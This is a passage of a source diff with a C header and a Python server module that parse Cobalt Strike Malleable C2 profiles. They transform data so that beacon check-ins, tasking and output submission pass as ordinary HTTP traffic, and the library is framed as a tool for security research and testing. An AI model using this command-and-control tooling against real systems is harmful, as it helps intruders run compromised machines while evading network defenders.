* A termination statement (where transformed data goes)
|
||||
*/
|
||||
typedef struct {
|
||||
malleable_termination_type_t type;
|
||||
char* target; // Header name, parameter key, etc.
|
||||
} malleable_termination_t;
|
||||
|
||||
/**
|
||||
* A complete data transformation pipeline
|
||||
*/
|
||||
typedef struct {
|
||||
malleable_transform_t* transforms;
|
||||
size_t num_transforms;
|
||||
malleable_termination_t termination;
|
||||
} malleable_transform_chain_t;
|
||||
|
||||
/**
|
||||
* HTTP transaction configuration (client or server side)
|
||||
*/
|
||||
typedef struct {
|
||||
char** headers; // Array of header strings (NULL-terminated)
|
||||
size_t num_headers;
|
||||
char** parameters; // Array of "key=value" strings (NULL-terminated)
|
||||
size_t num_parameters;
|
||||
malleable_transform_chain_t* metadata; // For GET client metadata
|
||||
malleable_transform_chain_t* id; // For POST client id
|
||||
malleable_transform_chain_t* output; // For GET server output or POST client output
|
||||
} malleable_http_config_t;
|
||||
|
||||
/**
|
||||
* A complete HTTP transaction definition
|
||||
*/
|
||||
typedef struct {
|
||||
char* variant; // "default", "variant_1", etc.
|
||||
malleable_http_method_t method; // GET or POST
|
||||
char** uris; // Array of possible URIs
|
||||
size_t num_uris;
|
||||
malleable_http_config_t client;
|
||||
malleable_http_config_t server;
|
||||
} malleable_http_transaction_t;
|
||||
|
||||
/**
|
||||
* Complete malleable profile
|
||||
*/
|
||||
typedef struct {
|
||||
char* profile_name;
|
||||
char* useragent;
|
||||
char** headers_remove;
|
||||
size_t num_headers_remove;
|
||||
|
||||
malleable_http_transaction_t* http_get_transactions;
|
||||
size_t num_http_get;
|
||||
|
||||
malleable_http_transaction_t* http_post_transactions;
|
||||
size_t num_http_post;
|
||||
} malleable_profile_t;
|
||||
|
||||
/**
|
||||
* HTTP request structure
|
||||
*/
|
||||
typedef struct {
|
||||
char* method; // "GET", "POST", etc.
|
||||
char* uri; // Full URI with query parameters
|
||||
char** headers; // NULL-terminated array of "Name: Value"
|
||||
size_t num_headers;
|
||||
uint8_t* body;
|
||||
size_t body_len;
|
||||
} malleable_http_request_t;
|
||||
|
||||
/**
|
||||
* HTTP response structure
|
||||
*/
|
||||
typedef struct {
|
||||
int status_code;
|
||||
char** headers;
|
||||
size_t num_headers;
|
||||
uint8_t* body;
|
||||
size_t body_len;
|
||||
} malleable_http_response_t;
|
||||
|
||||
/**
|
||||
* Error codes
|
||||
*/
|
||||
typedef enum {
|
||||
MALLEABLE_SUCCESS = 0,
|
||||
MALLEABLE_ERROR_INVALID_PROFILE = -1,
|
||||
MALLEABLE_ERROR_PARSE_FAILED = -2,
|
||||
MALLEABLE_ERROR_INVALID_VARIANT = -3,
|
||||
MALLEABLE_ERROR_TRANSFORM_FAILED = -4,
|
||||
MALLEABLE_ERROR_MEMORY = -5,
|
||||
MALLEABLE_ERROR_NOT_FOUND = -6
|
||||
} malleable_error_t;
|
||||
|
||||
/* ===================================================================== */
|
||||
/* PROFILE PARSING */
|
||||
/* ===================================================================== */
|
||||
|
||||
/**
|
||||
* Parse a malleable profile from memory (string buffer)
|
||||
* This is the primary way to load profiles. If you need to load from a file,
|
||||
* read the file into a string first and pass it to this function.
|
||||
*
|
||||
* @param profile_str Profile content as null-terminated string
|
||||
* @return Profile structure or NULL on error
|
||||
*
|
||||
* @example Loading from embedded string:
|
||||
* const char* profile = "set sample_name \"test\"; ...";
|
||||
* malleable_profile_t* p = malleable_profile_parse(profile);
|
||||
*
|
||||
* @example Loading from file (user-managed):
|
||||
* char* content = read_file("config.profile");
|
||||
* malleable_profile_t* p = malleable_profile_parse(content);
|
||||
* free(content);
|
||||
*/
|
||||
malleable_profile_t* malleable_profile_parse(const char* profile_str);
|
||||
|
||||
/**
|
||||
* Free a profile structure
|
||||
* @param profile Profile to free
|
||||
*/
|
||||
void malleable_profile_free(malleable_profile_t* profile);
|
||||
|
||||
/* ===================================================================== */
|
||||
/* TRANSFORMATION ENGINE */
|
||||
/* ===================================================================== */
|
||||
|
||||
/**
|
||||
* Apply a transformation chain to data (forward transform - client side)
|
||||
* @param chain Transform chain to apply
|
||||
* @param input Input data
|
||||
* @param input_len Input data length
|
||||
* @param output Output buffer (allocated by function, caller must free)
|
||||
* @param output_len Output data length
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_transform_apply(
|
||||
const malleable_transform_chain_t* chain,
|
||||
const uint8_t* input,
|
||||
size_t input_len,
|
||||
uint8_t** output,
|
||||
size_t* output_len
|
||||
);
|
||||
|
||||
/**
|
||||
* Reverse a transformation chain (server side extraction)
|
||||
* @param chain Transform chain to reverse
|
||||
* @param input Transformed data
|
||||
* @param input_len Transformed data length
|
||||
* @param output Original data (allocated by function, caller must free)
|
||||
* @param output_len Original data length
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_transform_reverse(
|
||||
const malleable_transform_chain_t* chain,
|
||||
const uint8_t* input,
|
||||
size_t input_len,
|
||||
uint8_t** output,
|
||||
size_t* output_len
|
||||
);
|
||||
|
||||
/* ===================================================================== */
|
||||
/* HTTP REQUEST BUILDING */
|
||||
/* ===================================================================== */
|
||||
|
||||
/**
|
||||
* Build an HTTP GET request (beacon metadata check-in)
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param metadata Raw metadata to send
|
||||
* @param metadata_len Metadata length
|
||||
* @param request Output request structure (caller must free with malleable_http_request_free)
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_build_get_request(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const uint8_t* metadata,
|
||||
size_t metadata_len,
|
||||
malleable_http_request_t** request
|
||||
);
|
||||
|
||||
/**
|
||||
* Build an HTTP POST request (beacon output submission)
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param session_id Session identifier
|
||||
* @param id_len Session ID length
|
||||
* @param output Response data to send
|
||||
* @param output_len Output data length
|
||||
* @param request Output request structure (caller must free with malleable_http_request_free)
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_build_post_request(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const uint8_t* session_id,
|
||||
size_t id_len,
|
||||
const uint8_t* output,
|
||||
size_t output_len,
|
||||
malleable_http_request_t** request
|
||||
);
|
||||
|
||||
/**
|
||||
* Parse server response from GET request (extract tasks)
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param response HTTP response
|
||||
* @param data_out Extracted data (caller must free)
|
||||
* @param data_len_out Extracted data length
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_parse_get_response(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const malleable_http_response_t* response,
|
||||
uint8_t** data_out,
|
||||
size_t* data_len_out
|
||||
);
|
||||
|
||||
/**
|
||||
* Extract metadata from HTTP GET request (server side)
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param request HTTP request
|
||||
* @param metadata_out Extracted metadata (caller must free)
|
||||
* @param metadata_len_out Extracted metadata length
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_extract_metadata(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const malleable_http_request_t* request,
|
||||
uint8_t** metadata_out,
|
||||
size_t* metadata_len_out
|
||||
);
|
||||
|
||||
/**
|
||||
* Extract session ID from HTTP POST request (server side)
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param request HTTP request
|
||||
* @param id_out Extracted session ID (caller must free)
|
||||
* @param id_len_out Extracted ID length
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_extract_session_id(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const malleable_http_request_t* request,
|
||||
uint8_t** id_out,
|
||||
size_t* id_len_out
|
||||
);
|
||||
|
||||
/**
|
||||
* Extract output from HTTP POST request (server side)
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param request HTTP request
|
||||
* @param output_out Extracted output (caller must free)
|
||||
* @param output_len_out Extracted output length
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_extract_output(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const malleable_http_request_t* request,
|
||||
uint8_t** output_out,
|
||||
size_t* output_len_out
|
||||
);
|
||||
|
||||
/**
|
||||
* Build HTTP response with tasks (server response to GET)
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param data Task data to send
|
||||
* @param data_len Task data length
|
||||
* @param response Output response structure (caller must free with malleable_http_response_free)
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_build_get_response(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const uint8_t* data,
|
||||
size_t data_len,
|
||||
malleable_http_response_t** response
|
||||
);
|
||||
|
||||
/**
|
||||
* Build HTTP response for POST (server response to POST)
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param data Optional response data
|
||||
* @param data_len Response data length
|
||||
* @param response Output response structure (caller must free with malleable_http_response_free)
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*/
|
||||
malleable_error_t malleable_build_post_response(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const uint8_t* data,
|
||||
size_t data_len,
|
||||
malleable_http_response_t** response
|
||||
);
|
||||
|
||||
/* ===================================================================== */
|
||||
/* MEMORY MANAGEMENT */
|
||||
/* ===================================================================== */
|
||||
|
||||
/**
|
||||
* Free an HTTP request structure
|
||||
* @param request Request to free
|
||||
*/
|
||||
void malleable_http_request_free(malleable_http_request_t* request);
|
||||
|
||||
/**
|
||||
* Free an HTTP response structure
|
||||
* @param response Response to free
|
||||
*/
|
||||
void malleable_http_response_free(malleable_http_response_t* response);
|
||||
|
||||
/* ===================================================================== */
|
||||
/* UTILITY FUNCTIONS */
|
||||
/* ===================================================================== */
|
||||
|
||||
/**
|
||||
* Get error message for error code
|
||||
* @param error Error code
|
||||
* @return Error message string
|
||||
*/
|
||||
const char* malleable_error_string(malleable_error_t error);
|
||||
|
||||
/**
|
||||
* Find transaction by variant name
|
||||
* @param transactions Array of transactions
|
||||
* @param num_transactions Number of transactions
|
||||
* @param variant Variant name (NULL for "default")
|
||||
* @return Pointer to transaction or NULL if not found
|
||||
*/
|
||||
malleable_http_transaction_t* malleable_find_transaction(
|
||||
malleable_http_transaction_t* transactions,
|
||||
size_t num_transactions,
|
||||
const char* variant
|
||||
);
|
||||
|
||||
/* ===================================================================== */
|
||||
/* TRANSPARENT CALLBACK API */
|
||||
/* ===================================================================== */
|
||||
|
||||
/**
|
||||
* Perform a complete GET callback (check-in with metadata, receive tasks)
|
||||
*
|
||||
* This is a high-level function that:
|
||||
* 1. Builds an HTTP GET request with transformed metadata
|
||||
* 2. Sends the request to the server
|
||||
* 3. Receives and parses the response
|
||||
* 4. Extracts and returns the server's task data
|
||||
*
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param host Target host (domain or IP)
|
||||
* @param port Target port (0 for default: 80 for HTTP, 443 for HTTPS)
|
||||
* @param use_https Use HTTPS/TLS if non-zero
|
||||
* @param metadata Raw metadata to send
|
||||
* @param metadata_len Metadata length
|
||||
* @param tasks_out Extracted task data (caller must free)
|
||||
* @param tasks_len_out Task data length
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*
|
||||
* Note: Requires WinHTTP on Windows. Link with malleable_http_win.c
|
||||
*/
|
||||
malleable_error_t malleable_callback_get(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const char* host,
|
||||
int port,
|
||||
int use_https,
|
||||
const uint8_t* metadata,
|
||||
size_t metadata_len,
|
||||
uint8_t** tasks_out,
|
||||
size_t* tasks_len_out
|
||||
);
|
||||
|
||||
/**
|
||||
* Perform a complete POST callback (submit output data)
|
||||
*
|
||||
* This is a high-level function that:
|
||||
* 1. Builds an HTTP POST request with transformed session ID and output
|
||||
* 2. Sends the request to the server
|
||||
* 3. Receives and parses the response
|
||||
* 4. Optionally extracts server response data
|
||||
*
|
||||
* @param profile Malleable profile
|
||||
* @param variant Transaction variant (NULL for "default")
|
||||
* @param host Target host (domain or IP)
|
||||
* @param port Target port (0 for default: 80 for HTTP, 443 for HTTPS)
|
||||
* @param use_https Use HTTPS/TLS if non-zero
|
||||
* @param session_id Session identifier
|
||||
* @param id_len Session ID length
|
||||
* @param output Output data to send
|
||||
* @param output_len Output data length
|
||||
* @param response_out Optional server response data (caller must free, can be NULL)
|
||||
* @param response_len_out Optional server response length (can be NULL)
|
||||
* @return MALLEABLE_SUCCESS or error code
|
||||
*
|
||||
* Note: Requires WinHTTP on Windows. Link with malleable_http_win.c
|
||||
*/
|
||||
malleable_error_t malleable_callback_post(
|
||||
const malleable_profile_t* profile,
|
||||
const char* variant,
|
||||
const char* host,
|
||||
int port,
|
||||
int use_https,
|
||||
const uint8_t* session_id,
|
||||
size_t id_len,
|
||||
const uint8_t* output,
|
||||
size_t output_len,
|
||||
uint8_t** response_out,
|
||||
size_t* response_len_out
|
||||
);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* OPENMALLEABLE_H */
|
||||
@@ -0,0 +1,835 @@
|
||||
"""
|
||||
Malleable - Python Server Implementation
|
||||
|
||||
Framework-agnostic HTTP transformation library implementing Cobalt Strike's
|
||||
Malleable C2 profile format for security research and testing.
|
||||
"""
|
||||
|
||||
import re
|
||||
import base64
|
||||
import struct
|
||||
from typing import Optional, Dict, List, Tuple, Any
|
||||
import binascii
|
||||
from dataclasses import dataclass
|
||||
from enum import Enum
|
||||
|
||||
|
||||
def _strip_comments(content: str) -> str:
|
||||
result = []
|
||||
in_string = False
|
||||
i = 0
|
||||
while i < len(content):
|
||||
ch = content[i]
|
||||
if in_string:
|
||||
if ch == '\\' and i + 1 < len(content):
|
||||
result.append(ch)
|
||||
result.append(content[i + 1])
|
||||
i += 2
|
||||
continue
|
||||
if ch == '"':
|
||||
in_string = False
|
||||
result.append(ch)
|
||||
else:
|
||||
if ch == '"':
|
||||
in_string = True
|
||||
result.append(ch)
|
||||
elif ch == '#':
|
||||
while i < len(content) and content[i] != '\n':
|
||||
i += 1
|
||||
result.append('\n' if i < len(content) and content[i] == '\n' else '')
|
||||
else:
|
||||
result.append(ch)
|
||||
i += 1
|
||||
return ''.join(result)
|
||||
|
||||
|
||||
def _decode_string_str(s: str) -> str:
|
||||
return TransformEngine._decode_string(s).decode('utf-8', errors='replace')
|
||||
|
||||
|
||||
# =========================================================================
|
||||
# DATA STRUCTURES
|
||||
# =========================================================================
|
||||
|
||||
class TransformType(Enum):
|
||||
"""Transform types supported in malleable profiles"""
|
||||
BASE64 = "base64"
|
||||
BASE64URL = "base64url"
|
||||
NETBIOS = "netbios"
|
||||
NETBIOSU = "netbiosu"
|
||||
MASK = "mask"
|
||||
PREPEND = "prepend"
|
||||
APPEND = "append"
|
||||
|
||||
|
||||
class TerminationType(Enum):
|
||||
"""Termination statement types"""
|
||||
HEADER = "header"
|
||||
PARAMETER = "parameter"
|
||||
PRINT = "print"
|
||||
URI_APPEND = "uri-append"
|
||||
|
||||
|
||||
@dataclass
|
||||
class Transform:
|
||||
"""A single transform step"""
|
||||
type: TransformType
|
||||
argument: Optional[str] = None
|
||||
|
||||
|
||||
@dataclass
|
||||
class Termination:
|
||||
"""Termination statement"""
|
||||
type: TerminationType
|
||||
target: Optional[str] = None
|
||||
|
||||
|
||||
@dataclass
|
||||
class TransformChain:
|
||||
"""Complete data transformation pipeline"""
|
||||
transforms: List[Transform]
|
||||
termination: Termination
|
||||
|
||||
|
||||
@dataclass
|
||||
class HttpConfig:
|
||||
"""HTTP transaction configuration"""
|
||||
headers: Dict[str, str]
|
||||
parameters: Dict[str, str]
|
||||
metadata: Optional[TransformChain] = None
|
||||
id: Optional[TransformChain] = None
|
||||
output: Optional[TransformChain] = None
|
||||
|
||||
|
||||
@dataclass
|
||||
class HttpTransaction:
|
||||
"""Complete HTTP transaction definition"""
|
||||
variant: str
|
||||
method: str # GET or POST
|
||||
uris: List[str]
|
||||
client: HttpConfig
|
||||
server: HttpConfig
|
||||
|
||||
|
||||
@dataclass
|
||||
class HttpRequest:
|
||||
"""HTTP request structure"""
|
||||
method: str
|
||||
uri: str
|
||||
path: str
|
||||
query: Dict[str, str]
|
||||
headers: Dict[str, str]
|
||||
body: bytes
|
||||
|
||||
|
||||
@dataclass
|
||||
class HttpResponse:
|
||||
"""HTTP response structure"""
|
||||
status_code: int
|
||||
headers: Dict[str, str]
|
||||
body: bytes
|
||||
|
||||
|
||||
class ProfileMismatchError(Exception):
|
||||
"""Raised when a request does not match the profile or transforms fail."""
|
||||
|
||||
def __init__(self, reason: str, details: str):
|
||||
super().__init__(f"{reason}: {details}")
|
||||
self.reason = reason
|
||||
self.details = details
|
||||
|
||||
|
||||
class MalleableProfile:
|
||||
"""
|
||||
Malleable C2 profile
|
||||
|
||||
This class parses profiles from memory (string). If you need to load from a file,
|
||||
read it into a string first and pass it to this constructor.
|
||||
|
||||
Example - Embedded profile:
|
||||
profile_str = 'set sample_name "test"; ...'
|
||||
profile = MalleableProfile(profile_str)
|
||||
|
||||
Example - Load from file (user-managed):
|
||||
with open('config.profile', 'r') as f:
|
||||
profile = MalleableProfile(f.read())
|
||||
"""
|
||||
|
||||
def __init__(self, profile_content: str):
|
||||
"""
|
||||
Initialize malleable profile from string
|
||||
|
||||
Args:
|
||||
profile_content: Profile content as string
|
||||
"""
|
||||
self.profile_name: Optional[str] = None
|
||||
self.useragent: Optional[str] = None
|
||||
self.headers_remove: List[str] = []
|
||||
self.http_get_transactions: Dict[str, HttpTransaction] = {}
|
||||
self.http_post_transactions: Dict[str, HttpTransaction] = {}
|
||||
|
||||
self._parse(profile_content)
|
||||
|
||||
def _parse(self, content: str):
|
||||
"""Parse malleable profile content"""
|
||||
# Remove comments
|
||||
original_len = len(content)
|
||||
hash_in_quotes = 0
|
||||
in_string = False
|
||||
i = 0
|
||||
while i < len(content):
|
||||
ch = content[i]
|
||||
if in_string:
|
||||
if ch == '\\' and i + 1 < len(content):
|
||||
i += 2
|
||||
continue
|
||||
if ch == '"':
|
||||
in_string = False
|
||||
elif ch == '#':
|
||||
hash_in_quotes += 1
|
||||
else:
|
||||
if ch == '"':
|
||||
in_string = True
|
||||
i += 1
|
||||
content = _strip_comments(content)
|
||||
|
||||
# Extract profile name
|
||||
match = re.search(r'set\s+sample_name\s+"((?:[^"\\]|\\.)*)"', content)
|
||||
if match:
|
||||
self.profile_name = _decode_string_str(match.group(1))
|
||||
|
||||
# Extract useragent
|
||||
match = re.search(r'set\s+useragent\s+"((?:[^"\\]|\\.)*)"', content)
|
||||
if match:
|
||||
self.useragent = _decode_string_str(match.group(1))
|
||||
|
||||
match = re.search(r'set\s+headers_remove\s+"((?:[^"\\]|\\.)*)"', content)
|
||||
if match:
|
||||
raw_headers = _decode_string_str(match.group(1))
|
||||
self.headers_remove = [h.strip() for h in raw_headers.split(',') if h.strip()]
|
||||
|
||||
# Parse http-get blocks
|
||||
for variant, block_content in self._find_named_blocks(content, "http-get"):
|
||||
transaction = self._parse_http_transaction("GET", variant, block_content)
|
||||
if transaction:
|
||||
self.http_get_transactions[variant] = transaction
|
||||
|
||||
# Parse http-post blocks
|
||||
for variant, block_content in self._find_named_blocks(content, "http-post"):
|
||||
transaction = self._parse_http_transaction("POST", variant, block_content)
|
||||
if transaction:
|
||||
self.http_post_transactions[variant] = transaction
|
||||
|
||||
def _parse_http_transaction(self, method: str, variant: str, content: str) -> Optional[HttpTransaction]:
|
||||
"""Parse a single HTTP transaction block"""
|
||||
uris = []
|
||||
verb = method
|
||||
client_config = HttpConfig(headers={}, parameters={})
|
||||
server_config = HttpConfig(headers={}, parameters={})
|
||||
|
||||
# Extract URIs
|
||||
match = re.search(r'set\s+uri\s+"((?:[^"\\]|\\.)*)"', content)
|
||||
if match:
|
||||
uri_str = _decode_string_str(match.group(1))
|
||||
uris = uri_str.split()
|
||||
|
||||
match = re.search(r'set\s+verb\s+"((?:[^"\\]|\\.)*)"', content)
|
||||
if match:
|
||||
verb = _decode_string_str(match.group(1)).upper()
|
||||
|
||||
# Parse client block
|
||||
client_content = self._extract_block_content(content, "client")
|
||||
if client_content is not None:
|
||||
self._parse_config_block(client_content, client_config)
|
||||
|
||||
# Parse server block
|
||||
server_content = self._extract_block_content(content, "server")
|
||||
if server_content is not None:
|
||||
self._parse_config_block(server_content, server_config)
|
||||
|
||||
return HttpTransaction(
|
||||
variant=variant,
|
||||
method=verb,
|
||||
uris=uris,
|
||||
client=client_config,
|
||||
server=server_config
|
||||
)
|
||||
|
||||
def _parse_config_block(self, content: str, config: HttpConfig):
|
||||
"""Parse client or server configuration block"""
|
||||
# Parse headers
|
||||
header_matches = list(re.finditer(r'header\s+"((?:[^"\\]|\\.)*)"\s+"((?:[^"\\]|\\.)*)"', content))
|
||||
for match in header_matches:
|
||||
name = _decode_string_str(match.group(1))
|
||||
value = _decode_string_str(match.group(2))
|
||||
config.headers[name] = value
|
||||
|
||||
# Parse parameters
|
||||
param_matches = list(re.finditer(r'parameter\s+"((?:[^"\\]|\\.)*)"\s+"((?:[^"\\]|\\.)*)"', content))
|
||||
for match in param_matches:
|
||||
key = _decode_string_str(match.group(1))
|
||||
value = _decode_string_str(match.group(2))
|
||||
config.parameters[key] = value
|
||||
|
||||
# Parse metadata block
|
||||
metadata_content = self._extract_block_content(content, "metadata")
|
||||
if metadata_content is not None:
|
||||
config.metadata = self._parse_transform_chain(metadata_content)
|
||||
|
||||
# Parse id block
|
||||
id_content = self._extract_block_content(content, "id")
|
||||
if id_content is not None:
|
||||
config.id = self._parse_transform_chain(id_content)
|
||||
|
||||
# Parse output block
|
||||
output_content = self._extract_block_content(content, "output")
|
||||
if output_content is not None:
|
||||
config.output = self._parse_transform_chain(output_content)
|
||||
|
||||
def _find_named_blocks(self, content: str, keyword: str) -> List[Tuple[str, str]]:
|
||||
"""Find blocks like 'http-get \"variant\" { ... }' with brace matching."""
|
||||
results = []
|
||||
idx = 0
|
||||
while True:
|
||||
pos = content.find(keyword, idx)
|
||||
if pos == -1:
|
||||
break
|
||||
if pos > 0 and content[pos - 1].isalnum():
|
||||
idx = pos + len(keyword)
|
||||
continue
|
||||
i = pos + len(keyword)
|
||||
while i < len(content) and content[i].isspace():
|
||||
i += 1
|
||||
variant = "default"
|
||||
if i < len(content) and content[i] == '"':
|
||||
i += 1
|
||||
start = i
|
||||
while i < len(content) and content[i] != '"':
|
||||
if content[i] == '\\' and i + 1 < len(content):
|
||||
i += 2
|
||||
continue
|
||||
i += 1
|
||||
variant = content[start:i]
|
||||
i += 1
|
||||
while i < len(content) and content[i].isspace():
|
||||
i += 1
|
||||
if i >= len(content) or content[i] != '{':
|
||||
idx = pos + len(keyword)
|
||||
continue
|
||||
block_content, end_pos = self._extract_braced_content(content, i)
|
||||
if block_content is not None:
|
||||
results.append((variant, block_content))
|
||||
idx = end_pos
|
||||
else:
|
||||
idx = pos + len(keyword)
|
||||
return results
|
||||
|
||||
def _extract_block_content(self, content: str, keyword: str) -> Optional[str]:
|
||||
"""Extract first block content for a given keyword, using brace matching."""
|
||||
pos = content.find(keyword)
|
||||
if pos == -1:
|
||||
return None
|
||||
i = pos + len(keyword)
|
||||
while i < len(content) and content[i].isspace():
|
||||
i += 1
|
||||
if i >= len(content) or content[i] != '{':
|
||||
return None
|
||||
block_content, _ = self._extract_braced_content(content, i)
|
||||
return block_content
|
||||
|
||||
def _extract_braced_content(self, content: str, brace_pos: int) -> Tuple[Optional[str], int]:
|
||||
"""Extract content inside braces starting at brace_pos (which must be '{')."""
|
||||
depth = 0
|
||||
i = brace_pos
|
||||
start = brace_pos + 1
|
||||
in_string = False
|
||||
while i < len(content):
|
||||
ch = content[i]
|
||||
if in_string:
|
||||
if ch == '\\' and i + 1 < len(content):
|
||||
i += 2
|
||||
continue
|
||||
if ch == '"':
|
||||
in_string = False
|
||||
else:
|
||||
if ch == '"':
|
||||
in_string = True
|
||||
elif ch == '{':
|
||||
depth += 1
|
||||
elif ch == '}':
|
||||
depth -= 1
|
||||
if depth == 0:
|
||||
return content[start:i], i + 1
|
||||
i += 1
|
||||
return None, len(content)
|
||||
|
||||
def _parse_transform_chain(self, content: str) -> TransformChain:
|
||||
"""Parse a transformation chain"""
|
||||
transforms = []
|
||||
termination = None
|
||||
transform_arg_has_backslash = False
|
||||
termination_target_has_backslash = False
|
||||
|
||||
# Split into statements, ignoring semicolons inside quotes
|
||||
statements = self._split_statements(content)
|
||||
|
||||
for stmt in statements:
|
||||
stmt = stmt.strip()
|
||||
if not stmt:
|
||||
continue
|
||||
|
||||
# Check for termination statements
|
||||
if stmt.startswith('header'):
|
||||
match = re.match(r'header\s+"((?:[^"\\]|\\.)*)"', stmt)
|
||||
if match:
|
||||
termination_target_has_backslash = "\\" in match.group(1)
|
||||
termination = Termination(TerminationType.HEADER, _decode_string_str(match.group(1)))
|
||||
break
|
||||
elif stmt.startswith('parameter'):
|
||||
match = re.match(r'parameter\s+"((?:[^"\\]|\\.)*)"', stmt)
|
||||
if match:
|
||||
termination_target_has_backslash = "\\" in match.group(1)
|
||||
termination = Termination(TerminationType.PARAMETER, _decode_string_str(match.group(1)))
|
||||
break
|
||||
elif stmt == 'print':
|
||||
termination = Termination(TerminationType.PRINT)
|
||||
break
|
||||
elif stmt == 'uri-append':
|
||||
termination = Termination(TerminationType.URI_APPEND)
|
||||
break
|
||||
|
||||
# Check for transform statements
|
||||
elif stmt.startswith('prepend'):
|
||||
match = re.match(r'prepend\s+"((?:[^"\\]|\\.)*)"', stmt)
|
||||
if match:
|
||||
transform_arg_has_backslash = transform_arg_has_backslash or ("\\" in match.group(1))
|
||||
transforms.append(Transform(TransformType.PREPEND, match.group(1)))
|
||||
elif stmt.startswith('append'):
|
||||
match = re.match(r'append\s+"((?:[^"\\]|\\.)*)"', stmt)
|
||||
if match:
|
||||
transform_arg_has_backslash = transform_arg_has_backslash or ("\\" in match.group(1))
|
||||
transforms.append(Transform(TransformType.APPEND, match.group(1)))
|
||||
elif stmt == 'base64':
|
||||
transforms.append(Transform(TransformType.BASE64))
|
||||
elif stmt == 'base64url':
|
||||
transforms.append(Transform(TransformType.BASE64URL))
|
||||
elif stmt == 'netbios':
|
||||
transforms.append(Transform(TransformType.NETBIOS))
|
||||
elif stmt == 'netbiosu':
|
||||
transforms.append(Transform(TransformType.NETBIOSU))
|
||||
elif stmt == 'mask':
|
||||
transforms.append(Transform(TransformType.MASK))
|
||||
|
||||
return TransformChain(transforms=transforms, termination=termination or Termination(TerminationType.PRINT))
|
||||
|
||||
|
||||
def _split_statements(self, content: str) -> List[str]:
|
||||
"""Split semicolon-delimited statements, respecting quoted strings."""
|
||||
statements = []
|
||||
buf = []
|
||||
in_string = False
|
||||
i = 0
|
||||
while i < len(content):
|
||||
ch = content[i]
|
||||
if in_string:
|
||||
if ch == '\\' and i + 1 < len(content):
|
||||
buf.append(ch)
|
||||
buf.append(content[i + 1])
|
||||
i += 2
|
||||
continue
|
||||
if ch == '"':
|
||||
in_string = False
|
||||
buf.append(ch)
|
||||
else:
|
||||
if ch == '"':
|
||||
in_string = True
|
||||
buf.append(ch)
|
||||
elif ch == ';':
|
||||
stmt = ''.join(buf).strip()
|
||||
if stmt:
|
||||
statements.append(stmt)
|
||||
buf = []
|
||||
else:
|
||||
buf.append(ch)
|
||||
i += 1
|
||||
tail = ''.join(buf).strip()
|
||||
if tail:
|
||||
statements.append(tail)
|
||||
return statements
|
||||
|
||||
|
||||
# =========================================================================
|
||||
# TRANSFORMATION FUNCTIONS
|
||||
# =========================================================================
|
||||
|
||||
class TransformEngine:
|
||||
"""Handles data transformation according to malleable profiles"""
|
||||
|
||||
@staticmethod
|
||||
def apply_transform(data: bytes, transform: Transform) -> bytes:
|
||||
"""Apply a single transform (forward direction)"""
|
||||
if transform.type == TransformType.BASE64:
|
||||
return base64.b64encode(data)
|
||||
|
||||
elif transform.type == TransformType.BASE64URL:
|
||||
return base64.urlsafe_b64encode(data).rstrip(b'=')
|
||||
|
||||
elif transform.type == TransformType.NETBIOS:
|
||||
return TransformEngine._netbios_encode(data, b'a')
|
||||
|
||||
elif transform.type == TransformType.NETBIOSU:
|
||||
return TransformEngine._netbios_encode(data, b'A')
|
||||
|
||||
elif transform.type == TransformType.MASK:
|
||||
return TransformEngine._mask_encode(data)
|
||||
|
||||
elif transform.type == TransformType.PREPEND:
|
||||
if transform.argument:
|
||||
arg = TransformEngine._decode_string(transform.argument)
|
||||
return arg + data
|
||||
return data
|
||||
|
||||
elif transform.type == TransformType.APPEND:
|
||||
if transform.argument:
|
||||
arg = TransformEngine._decode_string(transform.argument)
|
||||
return data + arg
|
||||
return data
|
||||
|
||||
return data
|
||||
|
||||
@staticmethod
|
||||
def reverse_transform(data: bytes, transform: Transform) -> bytes:
|
||||
"""Reverse a single transform (backward direction)"""
|
||||
if transform.type == TransformType.BASE64:
|
||||
try:
|
||||
return base64.b64decode(data)
|
||||
except binascii.Error as exc:
|
||||
raise ProfileMismatchError("transform", f"base64 decode failed: {exc}") from exc
|
||||
|
||||
